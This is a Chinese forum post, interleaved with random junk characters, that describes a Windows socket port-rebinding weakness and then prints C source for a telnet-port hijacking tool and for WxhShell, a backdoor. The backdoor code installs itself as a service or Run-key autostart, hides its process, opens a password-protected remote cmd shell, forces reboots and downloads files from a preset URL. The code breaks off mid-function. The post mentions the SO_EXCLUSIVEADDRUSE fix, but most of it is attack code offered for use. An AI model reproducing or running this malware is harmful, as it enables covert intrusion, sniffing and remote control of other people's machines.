-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =*'`\}];" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @!Pq"/ z6Hl+nq B saddr.sin_family = AF_INET; \0:l9;^4 F
|GWYw'% saddr.sin_addr.s_addr = htonl(INADDR_ANY); yZ2,AR% MdPwuXI bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lyT~>.?{ !nd*U}q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RS93_F8 "'8$hV65.p 这意味着什么?意味着可以进行如下的攻击: [~;9Mi.XL U@*z#T#"m 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -@QLE}~k[ ^WRr "3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `zvYuKQ.} H<q:+ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,JjTzO J0x)m2
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Lh0<A% r9QNE>UG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /f2*J [`:\(( 8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <vAg\Tv:S p'R}z|d) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q[k}_1sWs$ r+U-l#Q #include c-3? D; #include 'tdjPdw #include >Qi2;t~G #include N_T;&wibO DWORD WINAPI ClientThread(LPVOID lpParam); )S5Q5"j&=f int main() 2yN~[,L { 68D.Li WORD wVersionRequested; uX p0D$a DWORD ret; @-W)(9kZ| WSADATA wsaData; Hu;#uAnxQ BOOL val; a([cuh. SOCKADDR_IN saddr; w</kGK[O SOCKADDR_IN scaddr; @1kA%LLK int err; {>~|xW SOCKET s; 0h5T&U]${Y SOCKET sc; NTn-4iJy int caddsize; ^v`|0z\ HANDLE mt; +`9T?:fu DWORD tid; cLXMq"?C wVersionRequested = MAKEWORD( 2, 2 ); uYs+xX_ err = WSAStartup( wVersionRequested, &wsaData ); }6o` in>M if ( err != 0 ) { %II |;< printf("error!WSAStartup failed!\n"); =T+<>/[ return -1; lT%o6qgT } BO1Mz=q saddr.sin_family = AF_INET; /6f$%:q z7GLpTa //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oEfKL`]B t<Og?m}( saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {5RM)J1 saddr.sin_port = htons(23); -f'z_&KI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H_jMl$f)j { (llg!1 printf("error!socket failed!\n"); H*!E*_ return -1; ^c/.D*J[I } -ERDW Y val = TRUE; JWEqy+,Fjw //SO_REUSEADDR选项就是可以实现端口重绑定的 HtXzMSGo7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $cYh X^YG. { :V >Z|?[*H printf("error!setsockopt failed!\n"); VkUMMq{ return -1; 6 s*#y[$ } +H+OYQ>^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9 /0<Z_b2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [5,#p$R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &OsJnkY<< JH2d+8O:qK if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Of-l<Ks\ { -l^ u1z ret=GetLastError(); oo<,hOv printf("error!bind failed!\n"); Bl(we/r return -1; rFGbp8(2 } Qxt,@<IK listen(s,2); `Up3p24 while(1) MvQ0"-ZQ { tLLP2^_& caddsize = sizeof(scaddr); X\uN:;?#W{ //接受连接请求 _O)~<Sk-*z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QKe=/; if(sc!=INVALID_SOCKET) qL]!/} { 2x t
8F mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); S\mh{#Lpk if(mt==NULL) \|Us/_h { 3!#d& printf("Thread Creat Failed!\n"); JH5ckgdZ break; <AzvVSA, } s_u@8e 6_ } va| 1N/& CloseHandle(mt); 4s%vx]E } g&X$)V4C closesocket(s); *ewE{$UpK WSACleanup(); yX/ 9jk return 0; m{;2! } bF<FX_}!s! DWORD WINAPI ClientThread(LPVOID lpParam) 8|HuxE { }H\wed]F/ SOCKET ss = (SOCKET)lpParam; +%oXPG? SOCKET sc; ]~GwZB'M unsigned char buf[4096]; )} tI8 SOCKADDR_IN saddr; Il,2^54q long num; h#B%'9r DWORD val; ,A4v|]kq] DWORD ret; + C aPF //如果是隐藏端口应用的话,可以在此处加一些判断 3Oy?_a$ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Ic P]EgB saddr.sin_family = AF_INET; IyOb0WiEj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8.bdN]zn saddr.sin_port = htons(23); X6kCYTJYF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Un (}P' { MQ7N8 @!t printf("error!socket failed!\n"); ,eW K~ pa return -1; JN,4#, } F8S% \i
val = 100; +coVE^/w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .]JGCTB3 { `$Z:j;F ret = GetLastError(); C%vR!Az return -1; f,9 /Yg_ } Q9Sh2qF^2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ")}^\Om { xk7MMRb ret = GetLastError(); iz.J._& return -1; ;=fOyg } I<Wp,E9G# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &s-iie$"@x { p(=}Qqdr8 printf("error!socket connect failed!\n"); Cjc>0)f&. closesocket(sc); C8W#$a closesocket(ss); 2<q>]G-nN return -1; =^\yE"a } %-1-y]R| while(1) m:SG1m_6 { VKqIFM1b //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #ue WU //如果是嗅探内容的话,可以再此处进行内容分析和记录
Tr* 3:J } //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,1&Pb %} num = recv(ss,buf,4096,0); L7VD ZCV if(num>0) $KHw=<:)/ send(sc,buf,num,0); 7@oM?r7td else if(num==0) %Ya%R@b} break; W8,4LxH num = recv(sc,buf,4096,0); Ve)P/Zz}^ if(num>0) lJb1{\|., send(ss,buf,num,0); ;UUpkOQO( else if(num==0) G9 v'a& break; `ECY:3"$KA } {%Cb0Zh closesocket(ss); Vq-W|<7C= closesocket(sc); w`KqB(36 return 0 ; Lz6b9W } !LJE o>D ua%@Ay1| ,Pi!%an w ========================================================== wIQ~a vxE#6 下边附上一个代码,,WXhSHELL `xv2,Z9< UI2TW)^2 ========================================================== /oL&
<e pW5ch"HE #include "stdafx.h" #!?jxfsFa H?oBax: #include <stdio.h> B!+rO~ #include <string.h> ad)jw:n #include <windows.h> /]pJ(FFC #include <winsock2.h> xbqFek$/r #include <winsvc.h> 4*Uzomb?q #include <urlmon.h> fab.%$ w}|XSJ! #pragma comment (lib, "Ws2_32.lib") HKp|I%b]J #pragma comment (lib, "urlmon.lib") UlP2VKM1& 0{Uc/ #define MAX_USER 100 // 最大客户端连接数 NVnId p #define BUF_SOCK 200 // sock buffer L!;"73,&(8 #define KEY_BUFF 255 // 输入 buffer r+:]lO C GN=kQ #define REBOOT 0 // 重启 f |%II,!3 #define SHUTDOWN 1 // 关机 $|"Y|3&X ZNDn! Sj #define DEF_PORT 5000 // 监听端口 +}VaQ8ti4 OCW0$V6;D- #define REG_LEN 16 // 注册表键长度 Ah2*7@U #define SVC_LEN 80 // NT服务名长度 tq$L* ++O %plu]^Vy // 从dll定义API X8 $Y2?< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +P! ibHfP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MpK3+4UMa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ES}V\k*} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2]of4 t|PQ4g< // wxhshell配置信息 ~7=eHU.@ struct WSCFG { yE&WGpT int ws_port; // 监听端口 -.@dA'j[ char ws_passstr[REG_LEN]; // 口令 /PZx['g int ws_autoins; // 安装标记, 1=yes 0=no Zh char ws_regname[REG_LEN]; // 注册表键名 t]IHQ8 char ws_svcname[REG_LEN]; // 服务名 y`,;m#frT char ws_svcdisp[SVC_LEN]; // 服务显示名 jFDVd;#CS char ws_svcdesc[SVC_LEN]; // 服务描述信息 D~ogq] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mO=A50_&,Q int ws_downexe; // 下载执行标记, 1=yes 0=no O*7vmPy char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %g_)_ ~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8KyRD1 (-R _jb'HP }; `- HI)-A97 TTa$wiW7' // default Wxhshell configuration HKL/D struct WSCFG wscfg={DEF_PORT, !F:ANoaS "xuhuanlingzhe", vX@TZet0 1, /S{U|GBB%r "Wxhshell", #My14u "Wxhshell", l"zA~W/ "WxhShell Service", ;~-ZN?8
"Wrsky Windows CmdShell Service", TMsc5E "Please Input Your Password: ", Ct][B{ 1, jj&mRF0gCb " http://www.wrsky.com/wxhshell.exe", I A%ZCdA; "Wxhshell.exe" 3qW]( }; B[.$<$}G skm~~JM^ // 消息定义模块 38 ]}+Bb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3+l8VX&u! char *msg_ws_prompt="\n\r? for help\n\r#>"; AQ&vq$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `# U<'$ char *msg_ws_ext="\n\rExit."; "XQ3mi`y char *msg_ws_end="\n\rQuit."; KpBOmXE char *msg_ws_boot="\n\rReboot..."; 5e3p9K`5 char *msg_ws_poff="\n\rShutdown..."; gvFJ~lL char *msg_ws_down="\n\rSave to "; S{m:Iij[; =2t=Zyp0Y char *msg_ws_err="\n\rErr!"; wz.. char *msg_ws_ok="\n\rOK!"; %4wEAi$I RNF%i~nhO char ExeFile[MAX_PATH]; &S=Qu?H int nUser = 0; 2`^6`` HANDLE handles[MAX_USER]; Gf
+>AjU' int OsIsNt; 4bCA"QM[[ 4_D
*xW SERVICE_STATUS serviceStatus; )&DsRA7v SERVICE_STATUS_HANDLE hServiceStatusHandle; 3$?nzKTW\ 0bpGPG's& // 函数声明 v#lrF\G5 int Install(void); ZZw2m@T> int Uninstall(void); fH@cC` int DownloadFile(char *sURL, SOCKET wsh); &OlX CxH int Boot(int flag); =xQPg0g void HideProc(void); v%r/PHw int GetOsVer(void); QOX'ZAB` int Wxhshell(SOCKET wsl); 3:O|p[2)L void TalkWithClient(void *cs); aGOS9 int CmdShell(SOCKET sock); PR/>E60H int StartFromService(void); '>ASr]Q int StartWxhshell(LPSTR lpCmdLine); (*M0'5 cTW$;Fpc+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e"UXG\8D VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vm?# ~}T 1`1jSx5}. // 数据结构和表定义 a ~YrQI-@ SERVICE_TABLE_ENTRY DispatchTable[] = /!J xiGn { cTz@ga;!mI {wscfg.ws_svcname, NTServiceMain}, [p'A?- {NULL, NULL} lN&+<>a }; >z~_s6#CP ` ZZ3!$czR // 自我安装 ,SPgop' int Install(void) }3,
4B-8! { S\]9mHJI char svExeFile[MAX_PATH]; .820~b0 HKEY key; )Z/$;7]# strcpy(svExeFile,ExeFile); ,RDWx 9_?<T;]" // 如果是win9x系统,修改注册表设为自启动 _M&n~ r if(!OsIsNt) { 9B![l=Gh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZeY|JH1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h oO847 RegCloseKey(key); *o5[P\'6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QW'*^^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pl!E$
RegCloseKey(key); 2
FoLJ return 0; +1I7K|M } "Bv V89 } :IU<A G6 } Z
t4q=
Lr else { H
"Io!{aKU \crh`~?> // 如果是NT以上系统,安装为系统服务 ;jaugKf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [NJ2rQ/w7 if (schSCManager!=0) IhBQ1,&J { ]8R@2L3s SC_HANDLE schService = CreateService bHcBjk.\ ( b)x0;8< schSCManager, iITMBS`} wscfg.ws_svcname, :Jf</uP_ wscfg.ws_svcdisp, O8A(OfX SERVICE_ALL_ACCESS, (,ik:j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +=Q:g,kP SERVICE_AUTO_START, -+u}u=z% SERVICE_ERROR_NORMAL, =>lX brJ svExeFile, ;
wxmSX9 NULL, S,C c0)j> NULL, ,}khu NULL, @ ;@~=w NULL, -T;^T1
NULL $a8,C\me? ); 3M(*q4A$" if (schService!=0) k q]E@tE*3 { {]U
\HE1w CloseServiceHandle(schService); [3sZ=)G CloseServiceHandle(schSCManager); "+4Jmf9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 00'SceL=` strcat(svExeFile,wscfg.ws_svcname); ~(^pGL3< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6;\1bP? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u,nn\>Y RegCloseKey(key); ES!e/l return 0; Xn?.Od( } `1n^~ } Qd\='*:! CloseServiceHandle(schSCManager); D"-Wo}"8O' } .gGO+8[N* } 7QnWw0 mA$86 X_ return 1; 1=5HQ~|[TO } [mQ1r*[j si)>:e // 自我卸载 \2=I//YF int Uninstall(void) m&b1H9ymd { 0:n"A,-p HKEY key; "f<gZsb R2?s
NlF if(!OsIsNt) { )ii aT~
] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5M~+F"Hl RegDeleteValue(key,wscfg.ws_regname); ,?Ie!r$6 RegCloseKey(key); l5=ih9u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (3$DUvx7 RegDeleteValue(key,wscfg.ws_regname); ^|zag RegCloseKey(key); qy.$5-e:[9 return 0; UCjx } JIw?]xa* } MRXw)NAw } >q&5Z else { ^n<YO=|u U^|T{g+O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U}DE9e{/! if (schSCManager!=0) %FM26^ { ab2Cn|F SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -BI!ZsC' if (schService!=0) $Zo|ta^ { ;]0d{ if(DeleteService(schService)!=0) { pnE]B0e CloseServiceHandle(schService); @[?ZwzY:9 CloseServiceHandle(schSCManager); EI*~VFx return 0; P
qC#[0Qy } +jZa A/ CloseServiceHandle(schService); ?<^8,H } d/F^ez CloseServiceHandle(schSCManager); m,t{D,
2 } j;b>~_ U% } 8f[ztT0`g [ dVBsi return 1; fCN+9!ljG` } LxGD=b kvbW^pl // 从指定url下载文件 AD<>)( int DownloadFile(char *sURL, SOCKET wsh) @VW1^{.do^ { AZ4?N.X? HRESULT hr; 7gV9m9 # char seps[]= "/"; -C(Yl= char *token; $:oC\K6 char *file; &y1iLk h ^ char myURL[MAX_PATH]; 0&fO)de96 char myFILE[MAX_PATH]; yA"?Hv \o; )D#} /3s strcpy(myURL,sURL); eGg6wd token=strtok(myURL,seps); +D4m@O while(token!=NULL) CmbgEGIh[a { Xe_djy'8 file=token; 2)}*'_E9 token=strtok(NULL,seps); zSD_t } %{4U\4d@' :<B_V< GetCurrentDirectory(MAX_PATH,myFILE); $z*"@ strcat(myFILE, "\\"); axt;}8 strcat(myFILE, file); "=
%"@"<) send(wsh,myFILE,strlen(myFILE),0); jUNt4 send(wsh,"...",3,0); ](Wa:U}Xs hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2]9
2J if(hr==S_OK) |n tWMm:( return 0; ^7? WR?! else =y@0il+V return 1; $\vNSTE ,{S $&g* } "ldd&>< %Rf9KQ // 系统电源模块 60{DR >S int Boot(int flag) cf$
hIB)Oi { csLbzDg HANDLE hToken; 1Dc6v57 TOKEN_PRIVILEGES tkp; KMkD6g d9U)O6= if(OsIsNt) { k ZF<~U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CUG"2K9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /bo=,%wJ[ tkp.PrivilegeCount = 1; b\H&E{Gn|x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yb<:1?76L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {V(~ if(flag==REBOOT) { "5k6FV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *A8*FX>\F return 0; &}Wi@;G]2 } 9M7P|Q else { 7- LjBlH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MG.c`t/w return 0; l#T%N@X } psmDGSm,& } Or?c21un else { &xB9;v3 if(flag==REBOOT) { xrBM`Bj0@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kf[.@_TD<1 return 0; q'+ARW48 } T-STM"~% else { DMsqTB` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7bO>[RQB return 0; gI2'[OU } _<mY| } ?t6wozib2 {*hvzS{1d return 1; e~(e&4pb } !idVF!xG [o(!/38"@= // win9x进程隐藏模块 D=3Z] 'A void HideProc(void) z7:*
,X { @J5TDq @ tw<Oy^i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ak_y:O| if ( hKernel != NULL ) O%>*=h`P { ge?or]T1S pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z8ivw\|M8 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tKe-Dk9 FreeLibrary(hKernel); =8tK]lb } CEw%_U@8 bfncO[Q,? return; .5s58Hcg, } D]"W|.6@ Da8gOZ // 获取操作系统版本 Xp06sl7 M int GetOsVer(void) *My9r.F5o { d
oEuKT OSVERSIONINFO winfo; yFmy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o^(I+ <el GetVersionEx(&winfo); uK(]@H7~!c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n CX{tqy return 1; 2(~Zl\ else ..nVViZ return 0; mejNa(D ^ } 3o>JJJ=] ^W@8KB // 客户端句柄模块 ;P ju O int Wxhshell(SOCKET wsl) -eh .Tk { WFk%nO/ SOCKET wsh; 2!W[ff@~7 struct sockaddr_in client; /8l@ndZf DWORD myID; Bnk<e <Rn-B).3bs while(nUser<MAX_USER) V0
Z8VqV { (j@c946z"" int nSize=sizeof(client); Z+6WG wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5HHf3E [ if(wsh==INVALID_SOCKET) return 1; )hQ]>o@i{ #*y.C[^5{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 qn=W if(handles[nUser]==0) Z]DZ:dF closesocket(wsh); e>c
-b^{& else }{@y]DcdM4 nUser++; 6[R6P:v&'G } 4<PupJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pRE^;
4}z ^`SEmYb; return 0; }s'=w]m } GLZ*5kw NhNd+SCZ@ // 关闭 socket y!x[N!a void CloseIt(SOCKET wsh) M"p%CbcI] { Pke8RLg2A closesocket(wsh); oO3^9?Z nUser--; svxjad@l/
ExitThread(0); V*2*5hx } {4/*2IRN9h CFW Hih // 客户端请求句柄 W"vkmk void TalkWithClient(void *cs) >m!Z$m([J { 0iR?r+| 3[_WTwX0 SOCKET wsh=(SOCKET)cs; J> ,w},` char pwd[SVC_LEN]; VrfEa d char cmd[KEY_BUFF]; ?Q"<AL>Z char chr[1]; (X5y%~;V5a int i,j; {2T u_2> X|!@%wuGC while (nUser < MAX_USER) { +eH`mI0f n<FUaR>q} if(wscfg.ws_passstr) { OMo /a%` if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 90iveb21} //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jxm#4 //ZeroMemory(pwd,KEY_BUFF); u0k'Jh]K i=0; HfH_jnR* while(i<SVC_LEN) { #Q["[}flVv ONpvx5'# // 设置超时 3w p@OF_ fd_set FdRead; BKI-Dh struct timeval TimeOut; Z{l`X#': FD_ZERO(&FdRead); `#!>}/m FD_SET(wsh,&FdRead); 4:O.x#p TimeOut.tv_sec=8; 1GkoE TimeOut.tv_usec=0; 'CJ_&HR int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GoX<d{ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .+?]"1>] _ Dz*% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ho(}_Q& pwd =chr[0]; I
H#CaD if(chr[0]==0xd || chr[0]==0xa) { *>[q*SF pwd=0; Z<AZO ^ break; bYem0hzOe } @C[p? ak i++; k^;/@: } d^tY?*n u-jc8W`Zd // 如果是非法用户,关闭 socket j p~Tlomp if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Syl 9j] } |=VWE>g Df2$2VU send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^e_uprZWm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QALr @J6r;4|& while(1) { z.)*/HGJm @QnKaZ8jW ZeroMemory(cmd,KEY_BUFF); }LX!dDuwA 99'c\[fd' // 自动支持客户端 telnet标准 [K4k7$ j=0; .)%,R while(j<KEY_BUFF) { ~^'t70 :D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g%^/^<ei cmd[j]=chr[0]; NgsEEPu? if(chr[0]==0xa || chr[0]==0xd) { ,SdxIhL cmd[j]=0; *'M+oi break; v&9:Wd*Iz' } W:w SM* j++; k+i0@G'C( } m8b-\^eP7 &jg>X+; // 下载文件 n++ak\ if(strstr(cmd,"http://")) { Unt]=S3u send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4~oRcO8!Y if(DownloadFile(cmd,wsh)) =1!.g"0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); wM;=^br else gwB0/$!4" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1_9Ka
V } #ifjQ7(: else { wNFx1u^/) >XuPg(Ow switch(cmd[0]) { }9z$72;Qdq o Q2Fjj // 帮助 |Q6.29 9 case '?': { =F~S?y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A*2jENgci break; L|:`^M+^w } nZyX|SPk // 安装 [Cz-i case 'i': { 7
:x fPx if(Install()) "Mn6U- send(wsh,msg_ws_err,strlen(msg_ws_err),0); H>IMf/%5N- else ay
;S4c/_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u@UMP@"# break; c
/HHy, } ?k&Vy // 卸载 L:j<c5 case 'r': { @Z
%ivR: if(Uninstall()) Y0@"fU35 send(wsh,msg_ws_err,strlen(msg_ws_err),0); GqvpA#
i else '&tG?gb& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zuad~%D<I break; T{.pM4Hd } ?m}s4a // 显示 wxhshell 所在路径 3>AMII case 'p': { u(>^3PJ+ char svExeFile[MAX_PATH]; L-WT]&n_ strcpy(svExeFile,"\n\r"); ,{u
yG: strcat(svExeFile,ExeFile); <I\/n<* send(wsh,svExeFile,strlen(svExeFile),0); Uw. `7b>B break; 8,4"uuI } QUc= &5 % // 重启 <4si/= case 'b': { rdP[<Y9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4{U T!WIi if(Boot(REBOOT)) v5#jZ$<F send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM IIYS else { ThajHK|U closesocket(wsh); dO<ERY ExitThread(0); q460iL7yF} } EzM
?Nft break; N=5a54!/ } w!-gJmX> // 关机 Z,
Yb&b case 'd': { 8B
K(4?gC send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qFCOUl if(Boot(SHUTDOWN)) xw,IJ/E$1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .+3g*Dv{& else { ?W?c1> closesocket(wsh); iAEbu&XG ExitThread(0); +US!YU } :Uzm
break; M#4pE_G } 9}!qR|l3nR // 获取shell !*dI|k case 's': { d9fC<Tp CmdShell(wsh); XH 4 closesocket(wsh); %+W{iu[| ExitThread(0); fP
1[[3i break; }(J}f) } ; ; OAQ` // 退出 eCU:Q case 'x': { X1x#6
oi send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h6D<go-b56 CloseIt(wsh); TCwFPlF| break; o4F2%0gJ } s^G.]%iU // 离开 3=P]x;[ba case 'q': { 6
6EV$*dRL send(wsh,msg_ws_end,strlen(msg_ws_end),0); NqazpB* closesocket(wsh); w7.V6S$Ga WSACleanup(); HSE!x_$ exit(1); D09Sg%w break; EPI4!3] } #C74z$ } T= y}y } ["k,QX i/;\7n // 提示信息 Q0`wt.}V2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / |;RV" } _lJ!R:* } mW(W\'~_~ zx"s*:O return; FF`T\&u } by1<[$8r Olt?~} // shell模块句柄 v!-/&}W)1 int CmdShell(SOCKET sock) ?4#Li~q { F4-$~v@ STARTUPINFO si; K*vt;L ZeroMemory(&si,sizeof(si)); In"ZIKaC si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @su^0 9n si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |/|5UiX7 PROCESS_INFORMATION ProcessInfo; b5dD/-Vj char cmdline[]="cmd"; E1aHKjLQ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O_muD\ return 0; njB;&N)I } oQ/E}Zk@ ]KKS"0a // 自身启动模式 c(f int StartFromService(void) T?CdZc. { F`9xVnK= typedef struct lBLARz&c# { 'A=^Se`= DWORD ExitStatus; t:x\kp DWORD PebBaseAddress; b;B%q$sntC DWORD AffinityMask; A7Cm5>Y_S DWORD BasePriority; kYP#SH/ ULONG UniqueProcessId; Gi|w}j_ ULONG InheritedFromUniqueProcessId; $t'MSlF } PROCESS_BASIC_INFORMATION; y4
#>X R6<X%*&% PROCNTQSIP NtQueryInformationProcess; })H wh). D
